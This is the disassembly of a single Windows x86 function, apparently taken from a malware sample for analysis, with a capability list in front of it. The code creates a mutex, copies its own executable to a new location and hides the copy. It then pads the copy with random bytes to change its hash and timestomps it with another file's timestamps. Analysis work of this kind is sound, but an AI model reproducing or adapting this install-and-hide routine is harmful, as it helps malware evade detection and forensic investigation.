Function at 0x4058ee
Capabilities:
Accept command line arguments
Copy file
Set file attributes
Terminate process
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov ecx, 0x23438
mov eax, edx
loop 0x4058fc
call fcn.004066b4
call fcn.00409cae
test al, al
jne 0x405912
xor eax, eax
leave
ret
push ebx
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov edx, eax
cmp edx, ebx
je 0x405962
mov ecx, edx
call fcn.0040d6b4
lea ecx, [ebp - 0x18]
call fcn.0040d51c
cmp eax, ebx
jbe 0x405962
mov edi, dword [ebp - 0x18]
xor edx, edx
cmp eax, ebx
jbe 0x40595d
mov ecx, dword [edi + edx*4]
cmp byte [ecx], 0x2d
jne 0x405958
cmp byte [ecx + 1], 0x66
jne 0x405958
cmp byte [ecx + 2], bl
jne 0x405958
or dword [ebp - 8], 1
inc edx
cmp edx, eax
jb 0x405941
call fcn.0040d2cb
mov eax, dword [0x411a6c]
push dword [eax + 0x30]
push 1
push 0x4124d8
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov dword [ebp - 0x14], eax
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x405c91
call fcn.0040585e
mov byte [ebp - 1], al
mov eax, dword [0x411a6c]
mov dword [ebp - 0x10], ebx
push dword [eax + 0x2c]
mov byte [ebp - 9], bl
call fcn.00409a76
test al, al
je 0x405a51
mov eax, dword [0x411a6c]
push ebx
push ebx
push ebx
push ebx
push 1
push dword [eax + 0x2c]
call fcn.00409a9b
test byte [ebp - 8], 1
jne 0x4059dd
cmp eax, 0x1030403
jb 0x4059dd
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_CloseHandle]
push ebx
call dword [sym.imp.kernel32.dll_ExitProcess]
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [0x411a6c]
push 0xb
push dword [eax + 0x2c]
mov dword [ebp - 8], ebx
call fcn.00409a9b
mov eax, dword [0x411a6c]
push ebx
push ebx
push ebx
push ebx
cmp byte [ebp - 1], bl
je 0x405a13
push 9
push dword [eax + 0x2c]
call fcn.00409a9b
jmp 0x405a38
push 3
push dword [eax + 0x2c]
call fcn.00409a9b
jmp 0x405a27
push 0x14
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [0x411a6c]
push dword [eax + 0x2c]
call fcn.00409a76
test al, al
jne 0x405a1f
mov byte [ebp - 9], 1
cmp dword [ebp - 8], ebx
je 0x405a51
push dword [ebp - 8]
call fcn.0040df8d
push dword [ebp - 8]
call fcn.0040d2af
push esi
push 0x104
lea eax, [ebp - 0x440]
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x238]
call fcn.00409e88
mov eax, dword [0x411a6c]
push dword [eax + 0xc]
lea eax, [ebp - 0x238]
push eax
push eax
call dword [0x411bf4]
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiW]
test eax, eax
lea eax, [ebp - 0x238]
push eax
je 0x405c0f
call fcn.0040a3a0
lea eax, [ebp - 0x238]
push eax
call fcn.0040df8d
push ebx
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.kernel32.dll_CopyFileW]
push 0x26
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x405bfe
push 2
push ebx
push ebx
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
test eax, eax
je 0x405b7e
push 0x20
mov eax, 0x80
call fcn.0040e1a2
shl eax, 9
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x405b36
jbe 0x405b36
call fcn.0040d29c
mov edi, eax
mov eax, dword [ebp - 0x10]
jmp 0x405b38
xor edi, edi
cmp edi, ebx
je 0x405b7e
xor esi, esi
cmp eax, ebx
jbe 0x405b5f
push 1
mov eax, 0xff
call fcn.0040e1a2
push ebx
call fcn.0040e1a2
mov byte [esi + edi], al
mov eax, dword [ebp - 0x10]
inc esi
cmp esi, eax
jb 0x405b42
push ebx
lea ecx, [ebp - 0x10]
push ecx
push eax
push edi
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_FlushFileBuffers]
push edi
call fcn.0040d2af
push 1
push 0x25
lea eax, [ebp - 0x440]
push eax
push ebx
call dword [0x411ae8]
mov eax, dword [0x411a6c]
push dword [eax + 0x60]
lea eax, [ebp - 0x440]
push eax
push eax
call dword [0x411bf4]
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405bf5
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetFileTime]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_SetFileTime]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0x21
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x405c17
mov byte [ebp - 1], bl
call fcn.0040a3a0
cmp byte [ebp - 1], bl
je 0x405c36
cmp byte [ebp - 9], bl
je 0x405c90
mov eax, dword [0x411a6c]
push ebx
push ebx
push ebx
push ebx
push 0xa
push dword [eax + 0x2c]
call fcn.00409a9b
jmp 0x405c90
mov eax, dword [0x411b70]
mov ecx, dword [0x411a6c]
and eax, 1
or eax, 2
push dword [ecx + eax*8]
call fcn.0040a180
mov edi, eax
mov esi, 0x4060c3
jmp 0x405c60
push 0x14
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, esi
sub eax, dword [0x411c20]
push edi
push eax
xor eax, eax
call fcn.00406e39
test al, al
je 0x405c58
jmp 0x405c7f
push 0x14
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [0x411a6c]
push dword [eax + 0x28]
call fcn.00409a76
test al, al
je 0x405c77
pop esi
cmp dword [ebp - 0x14], ebx
je 0x405c9f
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.0040f72b
push ebx
call dword [sym.imp.kernel32.dll_ExitProcess]